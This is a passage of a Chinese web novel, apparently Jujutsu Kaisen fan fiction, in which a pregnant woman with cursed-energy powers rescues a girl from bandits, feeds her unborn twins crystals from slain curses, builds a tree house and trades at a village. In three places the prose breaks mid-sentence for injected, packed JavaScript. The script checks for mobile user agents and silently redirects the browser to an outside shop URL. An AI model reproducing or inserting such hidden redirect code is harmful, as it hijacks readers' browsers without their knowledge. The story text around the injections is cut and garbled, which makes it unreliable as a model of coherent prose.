她想起密室里那些把她当工具、试图用她孩子当“诅咒之种”的混蛋。现在又遇到拿别人孩子去喂怪物的渣滓! 肚子里的两个孩子似乎也感受到了母亲剧烈的情绪波动,同时不安地动了起来。 宿观音低头,看着自己隆起的小腹,眼神复杂。 如果……如果她的孩子,将来也要面对这样一个视人命如草芥、强者肆意欺凌弱者的世界…… 如果她现在因为“自保”而退缩,眼睁睁看着另一个孩子被送去当祭品…… “妈′的!”她低声骂了一句,不知是骂这个操蛋的世界,还是骂自己那该死的、怎么也压不下去的多管闲事的心。 她深吸一口气,眼神变得锐利起来。 “听着,”她对着肚子,声音很低,却异常坚定,“老娘这不是圣母心泛滥,是路见不平……呃,主要是这帮杂碎的行事风格,让我想起了那些把咱们当培养皿的王八蛋,看着就来气!” “所以,咱们就去看看。”她掂了掂手里的石片,“能偷偷把人救了最好,不能……就当替天行道,清理一下垃圾。反正,动静别闹太大就行。” 给自己找好了理由(虽然很牵强),宿观音像只灵活的母豹(尽管体型不太符合),借助岩石和树木的掩护,悄无声息地朝着声音来源的方向潜行而去。 很快,她来到一处视野相对开阔的坡地,躲在茂密的灌木丛后向下望去。 只见下方一条崎岖的山道上,停着一辆破旧的牛车。车旁站着三个穿着粗布短打、手持简陋刀棍的男人,面相凶恶。 牛车上,一个衣衫褴褛、面黄肌瘦的妇人正死死抱着一个约莫五六岁、吓得瑟瑟发抖、满脸泪痕的小女孩。 周围还散落着几个破口袋,像是粮食。 “敬酒不吃吃罚酒!”为首的疤脸男人啐了一口,上前粗暴地拉扯妇人,“松手!不然连你一起献给山神大人!” “不!不要!放过我的女儿!”妇人拼死抵抗,但她哪里是男人的对手,被狠狠一推,摔倒在地,额头磕在石头上,顿时血流如注。 小女孩吓得放声大哭:“娘亲!” 另一个瘦高个男人趁机一把抓住小女孩的胳膊,就要往车上拖。 宿观音看到这里,眼神彻底冷了下来。 她估算了一下距离和那三人的站位。大概三十米左右。中间有树木遮挡,但角度还行。 “试试新招……”她喃喃自语,轻轻抬起右手,食指和拇指虚扣,瞄准了那个正抓着女孩的瘦高个男人的……手腕。 不是致命部位。她还没想杀人,至少没想主动杀人。但给个深刻的教训,顺便救下人,应该可以。 她屏息凝神,将那股锋锐的力量压缩到极致,凝聚于指尖,然后——轻轻一“弹”。 一道无形无质、细微到几乎无法察觉的“斩击”,如同被狙击枪射出的特种子弹,掠过空气,穿过枝叶的缝隙。 “啊——! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那三个男人早已吓得魂不附体,哪里还敢停留。断手的那个勉强撕下衣服包扎,另外两个连滚爬爬,也顾不上同伴和牛车了,屁滚尿流地朝着山下逃去,恨不得多生两条腿。 直到那三人狼狈的身影消失在密林深处,宿观音才缓缓吐出一口气。她摸了摸肚子,里面两个小家伙似乎也安静了下来。 “搞定。”她对自己这波“远程精准打击”还算满意。既救了人,又没完全暴露自己,还起到了足够的威慑。 她没有下去和那对母女相见。现在这副纹身加红眼的样子,恐怕比刚才那三个男人更像“山鬼”或“妖怪”,别再把人家吓出个好歹。 她悄悄转身,准备沿着原路返回山洞。 刚走出几步,忽然,她脚步一顿,赤红的瞳孔猛地收缩。 在她侧前方不远处的一棵古树树干上,不知何时,悄无声息地贴着一张惨白色的、巴掌大的人形纸片。纸片边缘画着朱红的符文,没有五官,却给人一种“正在注视”的毛骨悚然之感。 宿观音的寒毛瞬间竖了起来! 这东西……是什么时候出现的?她刚才全神贯注对付那三个人,竟然完全没有察觉! 是那些“制造者”追踪的手段?还是刚才动静引来的其他“东西”? 她慢慢握紧石片,全身咒力无声流转,进入戒备状态。 那张人形纸片,在微风中轻轻摇曳了一下,仿佛真的在“看”她。然后,毫无征兆地,“噗”一声自燃起来,化为一小撮灰烬,飘飘悠悠落下。 没有攻击,没有信息,就这么消失了。 但那种被窥视、被标记的感觉,却残留在了宿观音心头。 她站在原地,脸色有些阴沉。刚才救人后的那点轻松感荡然无存。 这个平安京,果然危机四伏。不仅有明面上的咒灵和恶人,还有更多隐藏在暗处、不知是敌是友、目的为何的视线。 她看了一眼山下惊魂未定、正在互相搀扶着收拾东西准备离开的母女,又看了一眼那张纸片燃烧后留下的细微痕迹。 “麻烦看来是甩不掉了。”她低语一句,不再停留,加快脚步,迅速而谨慎地朝着山洞方向返回。 夕阳将她的影子拉得很长。山林依旧寂静,但这份寂静之下,似乎涌动着更多未知的暗流。 回到相对安全的洞穴,宿观音第一时间检查了周围,确认没有类似的纸片或异常痕迹,才稍稍松了口气。 她坐在火堆旁(白天出去前用石头压住了火种,此刻重新吹燃),添了几根柴,看着跳跃的火光,陷入沉思。 力量,是一把双刃剑。用它来保护想保护的人时,酣畅淋漓;但因此可能引来更麻烦的觊觎和关注时,就让人头疼了。 “不管了。”她甩甩头,把那些烦心事暂时抛开,“兵来将挡,水来土掩。谁来惹我,我就切谁。至于那些藏头露尾的……” 她眼中红芒微闪。 “最好别让我揪出来。” 肚子里,两个小家伙轻轻动了动,像是在附和母亲的决定。 宿观音摸了摸肚子,脸上重新露出那种混合着匪气和母性的笑容。 “放心,崽。不管来的是咒灵、恶人,还是什么乱七八糟的术师……有妈在,谁也动不了你们。” “咱们一家三口……呃,母子三个人?反正,咱们就在这山里,好好过咱们的日子。” “谁敢来破坏……” 她拿起一块新的石头,指尖咒力吞吐,轻松地将其削成一个粗糙但实用的石勺。 “老娘就让他知道,什么叫‘开门送温暖,温暖送到家’——直接送他回‘老家’!” 夜色渐浓,山洞里的火光,温暖而坚定地亮着,仿佛这片山林中,一个微小却不容侵犯的堡垒。 而远方,未知的注视,或许并未完全散去。平安京的画卷,正随着这位暴力母亲的脚步,徐徐展开更诡谲的一角。 5. 第四章:听妈的话有饭吃 日子像山涧的水,看似平静,实则潺潺不断,转眼又过去月余。 宿观音的山洞小窝越来越有模有样。石碗石盘多了几个,还弄了个简易的石头灶台,通风更好,烟少。兽皮彻底晒干鞣制(用草木灰简单处理过),铺在厚厚的干草上,睡起来软和多了。她甚至用柔韧的藤蔓和细枝编了个粗糙但结实的背篓,方便采集。 生活技能点蹭蹭往上涨,但有一个问题,却像阴影一样随着时间推移,越来越沉重地压在她心头。 饿。 不是她自己的饿,是肚子里那俩崽子的“饿”。 普通的食物——烤肉、野菜、偶尔找到的鸟蛋或鱼——吃进去,饱腹感是有的,但那种深入骨髓、仿佛每个细胞都在叫嚣的“空虚感”却越来越明显。尤其是最近,她常常在半夜莫名惊醒,感觉小腹处传来一阵阵细微的、贪婪的“吸力”,像是在无声地催促:不够,这些能量不够,我们需要更多! 宿观音摸着已经相当可观的肚子,愁得粉色麻花辫都快挠散了。她能感觉到,两个小家伙的生长速度远超普通胎儿,他们需要的不仅仅是物质营养,还有某种更本质的“力量”来支撑他们特殊的体质和……那可能正在觉醒的、属于“诅咒之王”的潜在天赋。 “这叫什么事儿?”她对着空气抱怨,“人家怀胎是补充叶酸维生素,我这儿得补充咒力营养?上哪儿给你们整咒力口服液去?难道真要去啃咒灵?” 她试过一次。在清理山洞附近一只徘徊不去的、长得像腐烂藤蔓的咒灵时,她忍着恶心,用斩击将其核心部分切下一小块,捏着鼻子尝了尝。 味道像放馊了的抹布混合铁锈,入口的瞬间,一股阴冷污浊的咒力涌入,确实让腹中的躁动平息了那么一瞬。但紧接着,就是更剧烈的排斥感和一阵反胃,差点把前一天的烤肉都吐出来。身体本能地在净化(或者说“斩灭”)那股外来咒力中的杂质和恶意,真正能吸收的寥寥无几,而且过程极其难受。 “此路不通。”她得出结论,“这跟吃垃圾食品还带毒没区别,长期食用怕不是要怀出两个变异崽。” 这天下午,她扩大搜索范围,试图寻找一些蕴含自然能量的东西,比如看起来特别有灵气的草药或者矿石。不知不觉走到了山脉更深处一片雾气氤氲的谷地。 这里气氛明显不同。树木扭曲怪异,地上很少见到普通花草,反而长着一些颜色艳丽到诡异的菌类。空气中弥漫着淡淡的甜腥气,咒灵残秽的痕迹也更多更杂乱。 “这地方……咒灵老窝吗?”宿观音提高警惕,赤瞳仔细扫视四周。她不想惹麻烦,但来都来了,看看有没有“特产”。 小心翼翼地在谷地边缘探索,避开几处明显有强大咒力残留的区域。突然,她眼角瞥见一处倒塌的、半掩在泥土和藤蔓下的残垣断壁,像是很久以前某座小型祠庙或者隐居地的遗迹。 好奇心驱使她走近。遗迹破损严重,没什么有价值的东西,只有些腐朽的木料和碎瓦。就在她准备离开时,脚下被什么硬物硌了一下。 拨开浮土和落叶,露出半截埋在土里的东西。那是一个手镯,质地非金非玉,暗沉沉的深灰色,表面布满复杂扭曲的刻痕,有些地方还沾染着早已干涸发黑的污迹。最奇怪的是,手镯本身散发着一种极其微弱、但异常纯粹的咒力波动,而且……给人一种“饥饿”的感觉。 “咒具?”宿观音想起漫画里的设定。她犹豫了一下,还是弯腰捡了起来。入手冰凉,沉甸甸的。 几乎就在她手指接触手镯的刹那,异变突生! “吼——!” 侧面雾气猛地翻涌,一头咒灵扑了出来!这东西长得像个放大无数倍、表皮布满癞痢和脓包的土黄色蟾蜍,但脖子上却顶着一张扭曲痛苦的人脸,张开的大嘴里滴落着腐蚀性的涎液。 “我就知道捡装备必遇怪!”宿观音骂了一句,反应极快,侧身避开了扑击,同时右手并指如刀,一道凝练的斩击无声划过。 蟾蜍咒灵半空中的身躯骤然僵住,然后从头到尾,居中裂开,污浊的血液和内脏哗啦洒了一地。 然而,和之前祓除咒灵后慢慢消散不同,这蟾蜍咒灵尸体上方,竟然漂浮起一小撮指甲盖大小、不规则的多面体“晶体”。晶体呈暗红色,微微发光,内部似乎有液体般的光泽在流转,散发出的咒力波动比咒灵本身要精纯得多,虽然依旧带着负面气息,但杂质少了很多。 “这是……咒力结晶?爆装备了?”宿观音一愣,看向手里的暗灰色手镯。难道是这个手镯的效果,让被杀死的咒灵凝结出了这种“精华”? 她还没想明白,肚子里的反应却比她的思维更快! “咚!咚!” 左腹和右腹几乎同时传来有力的踢动,比以往任何一次都要急切、清晰!两个小家伙仿佛瞬间从慵懒的午睡中被顶级美食的香气唤醒,开始在她肚子里上演全武行,拳打脚踢,翻滚腾挪。 “哎哟!”宿观音被这突如其来的内部暴动弄得弯了下腰,“你俩造反啊?安静点!” 可崽崽们根本不听。他们的“注意力”,或者说本能的渴望,完全被那漂浮的暗红色结晶吸引了。 宿观音心中一动,尝试着向左移动了一步。 左边(对应她感觉中更活泼好动那个崽)的踢动立刻加剧,似乎在催促:“那边!那边!” 她又向右移动一步。 右边(感觉中相对安静那个崽)的动静也变大了,同样传递出明确的倾向。 她停下不动,两个崽就一起闹腾,方向感混乱,但目标明确——结晶! 宿观音看看手里暗沉的手镯,又看看空中漂浮的结晶,再看看自己躁动不安的肚子,一个大胆(且有点荒谬)的念头冒了出来。 “你们……想要那个?”她指着结晶,不确定地问。 肚子里的动静瞬间统一了,齐齐朝着结晶的方向“拱”了一下。 “……行吧,试试。”宿观音用空着的手凌空一抓,那暗红色结晶仿佛被无形之力牵引,落入她掌心。触感微温,咒力精纯而活跃。 她犹豫了一下,将结晶轻轻放在自己肚皮上,靠近中央的位置。 不可思议的事情发生了。 结晶接触到她皮肤的瞬间,竟然像是水滴落在海绵上,迅速“融化”,渗透进去!一股温和得多、也更容易吸收的精纯咒力,如同涓涓细流,涌入她的体内,然后被腹中两个贪婪的小家伙迅速瓜分、吸收。 几乎是立刻,肚子里那种持续的、烦人的“空虚感”和“饥饿感”减轻了一大截!两个崽崽的动作也从激烈的踢打,变成了满足的、慵懒的蠕动,仿佛吃饱喝足后在惬意地伸展四肢。 “嘿!还真行!”宿观音眼睛亮了,如同发现了新大陆,“这玩意儿……是高级营养块啊!比野猪肉顶用多了!” 困扰她许久的能量危机,似乎看到了解决的曙光! 她兴奋地掂了掂手里的暗灰色手镯。这玩意儿虽然看起来不起眼,还是个“二手货”(谁知道之前属于哪个倒霉蛋),但功能实用啊!自动收集咒灵死亡后逸散的精粹咒力,凝结成易于吸收的结晶……简直是给她和崽崽量身定做的“辅食加工器”! “好东西!归我了!”她毫不客气地把手镯套在右手腕上。手镯自动调节了大小,贴合手腕,那暗沉的灰色似乎也因为她咒力的注入而变得稍微润泽了一点。 接下来的几天,宿观音开启了“刷怪养崽”模式。她不再刻意避开咒灵,反而开始有选择地寻找那些落单的、看起来“肉质”可能比较“紧实”(咒力相对精纯)的咒灵下手。 过程不算轻松。有些咒灵很弱,一招秒,结晶也只有米粒大。有些则比较棘手,皮糙肉厚或有特殊能力,需要费点手脚。但收获是实实在在的。每天几块大小不一的咒力结晶“下肚”,两个崽崽的生长速度明显稳定下来,那种令她不安的“贪婪吸力”也基本消失了。连带着,她自己的体力、咒力的恢复速度似乎都有所提升。 更重要的是,在这个过程中,她发现了一个极其有趣的现象。 当她准备去猎杀某个咒灵时,如果方向是崽崽们“喜欢”的(比如咒力结晶可能更精纯,或者单纯是那个方向有“好吃的”),肚子里的动静就会比较配合,甚至有点小兴奋。如果她临时改变主意,想去另一个方向,或者想放过某个看起来不太好吃的咒灵,两个崽就会开始闹别扭,用各种胎动表示“抗议”。 一开始只是细微的感觉差异,随着她对结晶能量吸收的适应,以及和崽崽们这种无声“沟通”的频繁,这种感应越来越清晰。 “哟呵,还没出生就想当家做主了?”宿观音某次被右边那个崽用一阵连环踢表达对“绕路”的不满后,叉着腰对着肚子“训话”,“搞清楚状况,小崽子们!这个家,谁说了算?” 肚子里暂时安静了一下,然后左边那个崽试探性地、轻轻地“拱”了她一下。 “嗯?”宿观音挑眉。 两个崽似乎交流了一下(胎动短暂地互相“碰撞”),然后,齐齐地、用一种更轻微但更持久的蠕动,蹭了蹭她子宫壁的方向,带着点……讨好的意味? 宿观音差点笑出声。这俩小东西,还挺会察言观色? 一个绝妙(且充满她个人风格)的主意,如同闪电般劈进她的脑海。 胎教! 对啊!趁他们还在肚子里,三观未成,意识懵懂,正是灌输(洗脑)……啊不,是树立正确家庭观念、培养良好服从性的黄金时期! 什么音乐启蒙,诗歌熏陶,那都弱爆了!她宿观音的崽,胎教第一课,必须是—— “永远听母亲的话!” 说干就干。 下一只咒灵出现时(一只由怨恨凝聚、外形像无数哭嚎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265089|198079||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面孔拼凑成的雾状咒灵),宿观音没有立刻动手。 她指着那团缓缓飘来、散发着悲伤与恶意气息的雾气,对着肚子,用一种刻意放缓、但不容置疑的语气说: “崽,看好了。这东西,长得丑,味道估计也差(从咒力波动判断),能量杂质多,吃了拉肚子。所以,咱们——不、打、它。” 话音刚落,左边那个崽立刻传来一阵急促的胎动,意思很明显:“打!有结晶!吃!” 右边那个崽也动了动,似乎有点犹豫,但也被“吃”的欲望驱动。 宿观音稳稳站在原地,纹丝不动,只是再次重复:“听妈的,不打。转身,咱们去找更好吃的。” 肚子里的动静更激烈了,两个崽第一次出现了如此统一的“反抗”意愿,在她肚子里左冲右突,试图用身体语言“指挥”母亲去战斗。 宿观音笑了,露出一口白牙,在昏暗的林间显得有些……瘆人。 “不听话,是吧?”她慢条斯理地抬起右手,手腕上的暗灰色手镯微微发亮,“那就——饿着。” 说完,她真的转身,朝着远离咒灵的方向走去。任凭肚子里如何“抗议”、“哀求”、“打滚”,她脚步不停,甚至哼起了荒腔走板、不知所谓的调子。 走出去百十来米,两个崽的动静从未如此激烈过,简直像在肚子里开擂台。 宿观音停下,摸了摸肚子,感觉到两个小家伙传递出的委屈、不满和强烈的渴望。 “知道错了没?”她问,“以后听谁的?” 肚子里沉默(蠕动)了几秒,然后,极其不情愿地、同步地,朝着她心脏的方向,轻轻地、一致地“顶”了一下。 像是点头,又像是认输。 “很好。”宿观音满意地点头,“记住这个感觉。不听妈的话,就没好吃的。听妈的话,才有营养,才能长得壮壮的,以后出去揍人……呃,是保护自己,才有力气。” 她折返回去,轻松祓除了那只雾状咒灵。果然,结晶灰暗细小,能量驳杂。她捏着那粒小结晶,在肚皮上晃了晃:“看,妈说的对吧?这种垃圾食品,咱们不吃。” 然后,她带着崽崽们找到了另一只咒力相对精纯的岩石状咒灵,轻松解决,获得了一块品质不错的土黄色结晶。 当精纯的能量涌入,两个崽崽立刻发出了满足的“情绪”。这一次,当宿观音故意朝一个错误方向走时,他们只是稍微动了动提醒,便安静下来,等待母亲做出“正确”判断。 “孺子可教也。”宿观音摸着肚子,笑得像只偷到鸡的狐狸。 接下来的日子,这种“胎教”反复进行。内容从“选择攻击目标”扩展到“何时休息”、“探索路线规划”甚至“对某些路过弱小咒灵视而不见(因为不值得消耗体力)”。 过程并非一帆风顺。两个崽,尤其是左边那个更活泼好动(疑似宿傩)的,时不时就要挑战一下“母权”,试图用更激烈的胎动表达自主意愿。但宿观音原则明确,手段“残酷”——不听话就饿着,或者只给吃最差的结晶;听话就有优质能量,有时她心情好,还会在吸收结晶后,轻轻哼歌(虽然很难听)作为奖励。 渐渐地,两个崽形成了条件反射。母亲的决定,就是最高指令。即使本能再渴望,只要母亲说“不”,他们就会努力克制。而母亲指向的方向,哪怕暂时看不出好处,他们也会选择信任。 当然,这种“信任”和“服从”,是在无数次“饥饿教育”和“能量奖励”中建立起来的,充满了最原始的生存博弈色彩。 “不错不错,”宿观音躺在铺着兽皮的“床”上,一手摸着肚子,一手枕在脑后,看着洞顶,“虽然手段粗暴了点,但效果显著。看来棍棒加甜枣,古今中外,教育崽崽都管用。” 她手腕上的暗灰色手镯,在篝火映照下,流转着幽暗的光泽。洞外,平安京的夜依旧深沉,咒灵的低语在远方徘徊。 但山洞里,未来的诅咒之王们,正在他们母亲别具一格的“胎教”下,初步学会了这个家庭(或者说这个暴力小团体)的第一条,也是最重要的一条生存法则: 听妈妈的话,别让她受伤;想快快长大,才能保护她……(大雾) 准确地说,是:想吃饱,想变强,想以后横着走,现在就得乖乖听恶鬼老太婆/妈咪的话! 宿观音打了个哈欠,感受着肚子里两个崽平稳有力的心跳,和那种日益增长的、与她血脉相连又隐隐带着磅礴潜力的力量,满足地闭上了眼睛。 胎教初见成效,能量来源有了保障。 接下来的目标,就是在平安京这个高危副本里,把她的崽,平安、健康(且听话)地生下来,然后…… “然后带着他们,吃香的,喝辣的,揍所有看不顺眼的家伙!” 梦里,她似乎已经看到了那美好的未来。 ″嘿嘿~″(流口水) 6. 笫五章 胎动 七个月。 宿观音现在深刻理解了“七月怀胎,肚大如箩”是什么意思。尤其是她这肚子里还是双黄蛋,那规模,简直像在腰间绑了个不大不小的米缸,低头已经看不到自己的脚尖了。 胎动也从之前的小鱼吐泡泡、轻轻拳打脚踢,升级成了全方位、高频率的“内部暴动”。 左边那个(她越来越怀疑是宿傩)热衷于凌晨三四点开始练拳击,砰砰砰,节奏感十足,经常把她从好不容易获得的深度睡眠中踹醒。 右边那个(疑似宿傩的兄弟)安静些,但喜欢在饭后突然来个“鲤鱼打挺”或者“乾坤大挪移”,扭得她胃里一阵翻江倒海,刚吃下去的东西差点原路返回。 山洞虽然冬暖夏凉,但地面终究是硬的,弯腰进出洞口也越来越不方便。 更关键的是,随着肚子越来越大,一种属于母亲的本能不安感开始滋生——这个位于地面、只有一个出入口的洞穴,防御性似乎不够了。 万一有什么东西摸过来…… “不行,得挪窝!”宿观音扶着后腰,站在洞口,看着外面郁郁葱葱的树林,做出了决定,“得找个更安全、更舒服的地方。” 她的目光扫过林间那些参天古树,最后定格在远处一片相对开阔的林间空地边缘。 那里有几棵格外粗壮、枝桠横生的大树,其中一棵尤其显眼,主干需要两三人合抱,在离地约四五米高的地方,分出了几个粗壮平稳的枝桠,形成了一个天然的、相当宽敞的平台。 农村长大的记忆浮现。爷爷曾说过,有些老猎人会在树上搭简易的窝棚,防潮防虫防野兽。 平安时代这山林,咒灵比野兽还烦人,树上视野开阔,易于警戒,离地一段距离也能减少很多骚扰。 “就它了!树屋计划启动!”宿观音一拍肚子(引得里面一阵抗议的扭动),行动力瞬间拉满。 说干就干。她先仔细勘察,选中了两棵相距不远、枝干粗壮平整的榉树作为“地基”。然后,就是取材。 “崽,看好了,今天教你们第一课,什么叫‘暴力施工法’。”她对着肚子煞有介事地说,然后走到一棵枯死的杉树前。 没有锯子,没有斧头。只有她并拢的手指,和体内奔涌的咒力。 “首先,取材要精准。”她眼神一凝,指尖虚划。无形的斩击掠过树干底部,发出极其轻微的“嗤”声。 那需要两人合抱的枯树,如同被最锋利的电锯切割,断面光滑如镜,缓缓倾斜,然后“轰隆”一声倒在预先清理过的空地上,扬起一片尘土。 “咳咳……下次得控制倒向。”宿观音挥挥手驱散灰尘,“不过,效率满分。” 接下来是处理木材。去皮、截断、剖开……全部由她徒手(指)完成。 斩击的精度在她一次次实践中不断提升,如今已经能做到削木如泥,切出大致平整的木板和粗细均匀的木桩。 这过程看着震撼,实则枯燥又费力。 幸好有手腕上那个暗灰色咒具手镯,时不时去附近“刷”点不长眼的咒灵,收获的结晶能迅速补充她和崽崽们的消耗,顺便也给“不听话就饿肚子”的胎教提供了实时教材。 “这块板子要搭在这里……对,榫卯?不会。直接用藤蔓捆结实,再加几根木楔敲进去……等等,没锤子。”宿观音蹲在树上,看着手里一根需要固定的大梁,歪头想了想。 然后,她举起拳头,咒力包裹拳锋,对准连接处旁边的支撑木,“咚”地一拳砸下去! 木头被她砸得往里嵌进去几分,连带上面的梁木也被卡紧。 “看,这就叫‘物理榫卯’。”她得意地对着肚子晃了晃拳头。肚子里左边那位立刻传来一阵急促的胎动,仿佛在喊:“妈!这招帅!想学!” “等你出来再说。”宿观音笑骂,继续她的工程。 花了将近十天时间,一间简陋却结实的树屋初具雏形。主体架在两棵树的主要枝干上,离地约三米多高。地板是用厚木板拼接,缝隙用混合了黏土的苔藓塞紧。 墙壁是细木条编织成框架,里外糊上厚厚的泥巴(取自山洞附近一种黏性很强的粘土),晒干后居然相当坚固防风。 屋顶铺了好几层宽大的树皮和干燥的茅草,倾斜的角度足以排水。 她还用边角料做了个带护栏的阳台(方便晒太阳和观察情况),以及一个用藤蔓和木棍编制的、可以拉上放下的“楼梯”。 内部空间比山洞宽敞明亮得多。开了个小窗,用半透明的兽皮蒙着,透光不透风。最重要的“床铺”,她用最粗最平整的木板搭了个矮台,上面铺了厚厚的干草和最柔软的几张兽皮。 “呼……大功告成!”宿观音站在阳台,扶着微微发酸的腰,欣赏着自己的劳动成果。 虽然这树屋外观看起来像是被巨人胡乱拼凑的鸟巢,充满了野性粗犷(且不怎么美观)的气息,但实用性杠杠的。 “怎么样,崽崽们,新家还不错吧?”她摸着肚子,“以后咱们就住这儿了,空中别墅,景观房!” 肚子里两位似乎对新环境也有些好奇,胎动都变得轻柔了些,像是在小心感知。 家有了,但还缺很多东西。尤其是想到崽子们出生后…… “婴儿床!必须搞两个!”宿观音盘算着。还有更柔软保暖的布料,更齐全的炊具,可能还需要一些接生用的东西(这个想想就头皮发麻,但不得不准备)。 山洞里那些石碗石灶可以搬上来,但远远不够。 这些东西,山里可搞不定。得去有人烟的地方。 “镇上……”宿观音望向山脉之外隐约的方向。她知道这附近应该有人类聚居的村镇,之前救那对母女时也有所了解。去镇上交易,意味着要接触这个时代的普通人。 她看看自己:高大的身材,蜜蜡色皮肤,醒目的粉发赤瞳,还有那身几乎成为标志的白色和服以及脸上身上的黑色纹身……这副尊容,走在平安京的街道上,估计会被当成化形的妖怪或者山里的鬼婆吧? “麻烦……”她挠挠头。但为了崽,硬着头皮也得上。 她翻出之前从密室带出来、一直没舍得用的几块品质不错的兽皮(最完整柔软的那几张),还有在山里采集到的一些晒干的、勉强算是药材的植物根茎和菌类(希望有人识货),以及几块在猎杀咒灵时顺便找到的、颜色独特的矿石。这些就是她的“启动资金”。 又把脸上和手臂上最显眼的纹身用烧过的木炭混合泥土调成的深色膏体稍微遮掩了一下(效果一般,但至少没那么扎眼),将粉色的长发用一块深灰色粗布完全包起。 白色和服没办法,只有这一套。最后,她把那柄自制的、边缘被打磨得异常锋利的石斧别在腰间,聊作防身和威慑。 “好了,平安京时代第一次出门采购,目标:婴儿床及母婴用品!”宿观音给自己打气,挺着沉重的肚子,沿着之前探出的小路,小心翼翼地向山外走去。 走了大半天,翻过最后一道山梁,人烟的气息逐渐浓郁。田地出现,道路也变得清晰。远处,一片低矮的木质建筑群聚集在河边,炊烟袅袅,那就是她此行的目的地——一个看起来规模不大的边境小镇。 越是靠近,宿观音越是能感受到这个时代普通人生活的气息。泥土路,低矮的房屋,穿着粗布麻衣、面有菜色的农人,偶尔有牛车吱呀呀地走过。空气中弥漫着炊烟、牲畜和某种……压抑的气息。 人们眼神大多警惕而麻木,看到她这个陌生、高大、打扮奇特还带着武器的孕妇,纷纷避让,躲在门后或巷口窥视,指指点点,低声议论。 “看那个女人……” “好高……头发颜色真怪……” “是山里的……那种东西吗?” “还怀着孩子……真可怜……” 宿观音听觉敏锐,这些低语一字不落地飘进耳朵。她面不改色,赤瞳平静地扫过街道,寻找着类似集市或者店铺的地方。她不在乎这些目光,只要不主动招惹她就行。 很快,她找到了镇子中心一小片相对热闹的区域。有几个摆着蔬菜、糙米、陶罐的摊子,还有一家挂着破旧布帘的铁匠铺,一家传出药味的铺子。 她的出现,让原本窸窣的集市安静了一瞬。摊主和行人都用惊疑不定的目光看着她。 宿观音径直走到一个看起来卖杂货、也有几卷粗布的老者摊前。老者吓得往后一缩。 “这个,这个,还有这些,”宿观音把带来的兽皮、药材和矿石一股脑放在摊位上,声音尽量平静(但依旧带着些天然的沙哑和不容置疑),“换东西。” 老者战战兢兢地检查了她的货物。兽皮质地很好,药材虽然不认识但看起来新鲜,矿石颜色奇特。他眼神里露出惊讶,态度也稍微缓和了点。 “夫、夫人想换什么?” “软布,越多越好。干净的新棉花或者最柔软的填充物。两个这么大小的木盆。”她比划着婴儿澡盆的大小,“还有,会不会做小床?给孩子睡的,要两个,结实,边栏高,没有毛刺。” 老者听完,沉吟了一下:“布和棉花有,木盆可以找木匠做,很快。但是小床……镇上没有现成的,需要定做,要些时日。而且,两个的话……” “价钱好说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宿观音脚步顿了顿。她不是圣母,这世道可怜人太多。但或许是即将为人母,对“孩子”相关的事情格外敏感。她看了看自己鼓胀的肚子,又看了看那女人怀里气息微弱的小不点。 啧。 她沉默地走回刚刚换东西的杂货摊,用最后剩下的一块颜色最鲜艳的矿石(本来想留着以后或许有用),跟有点愕然的老者换了一小袋糙米和两个鸡蛋。 然后,她走回那个屋檐下,把米袋和鸡蛋放在女人面前,什么也没说,转身就走。 女人惊呆了,看着那袋米和鸡蛋,又看看宿观音高大沉默的背影,嘴唇哆嗦着,似乎想说什么感谢的话,却发不出声音,只是抱着孩子,朝着宿观音的方向,深深地把头埋下去。 宿观音没有回头,快步离开了小镇,重新踏入山林。怀里的物资有些沉重,肚子里的孩子似乎也累了,胎动变得缓慢而轻柔。 “崽,”她一边走,一边对着肚子低声说,“看到没,这世道不容易。但咱们有能力,在顾好自己的前提下,偶尔……就那么一下下,手指缝里漏一点点,给真正需要的人,也没啥。” 肚子里左边那个崽轻轻踢了一下,右边那个则传来一阵温缓的蠕动。 “嗯,就当给你们积德了。”宿观音笑了笑,“虽然咱们以后大概率不走德高望重路线……但至少,别变成纯粹欺负弱小的混蛋,这是底线。” 回到山中的树屋,夕阳正好。她把换来的东西一样样安置好。软布和芦花堆在角落,准备之后做襁褓和小被子。新陶锅和小刀让她对未来几个月的伙食改善充满期待。 她坐在新铺好的“床”上,背靠着用兽皮包裹的墙壁,望着窗外渐渐染上金红的林梢,手轻轻放在高高隆起的肚皮上。 树屋很安静,只有风声和偶尔的鸟鸣。肚子里的两个小家伙似乎很喜欢这个新环境,也或许是被今天外出的“见闻”弄得有些疲惫,此刻只是偶尔轻轻动弹一下,像是在安稳地睡着。 “快了,”宿观音轻声说,眼神是前所未有的柔和与坚定,“再有不到两个月,你们就要出来了。” “别怕,妈都准备好了。房子,吃的,用的……虽然简陋,但该有的都会有。” “等你们出来,咱们一家三口……,就在这树上,好好过日子。” “谁敢来打扰……” 她眼中红光一闪,嘴角勾起熟悉的、带着匪气的弧度。 “老娘就让他体验一下,什么叫‘高空抛物’——直接把他从树上踹下去!” 夜色温柔地笼罩了山林,也笼罩了这间粗糙却坚固的树屋。里面亮起一点温暖的、属于人类生活的篝火光芒。 一个来自异世的灵魂,两个尚未降生便已注定不凡的孩子,在这危机四伏的平安时代,拥有了一个暂时可以称之为“家”的空中堡垒。 未来的路依然未知,但至少此刻,有了一个可以安心等待新生命降临的角落。 7. 第六章:树屋闲情 日子滑入夏末,山林的绿意浓得化不开,空气里满是草木蒸腾的清新气息,偶尔夹杂几声悠远的蝉鸣。 宿观音的树屋,经过一个月的添砖加瓦(主要是她徒手砍树和用斩击精加工),终于从“能住人的粗糙窝棚”,进化成了“颇具个人风格的山林安全屋plus版”。 此刻,她正半躺在那把她自己折腾出来的“摇椅”上。 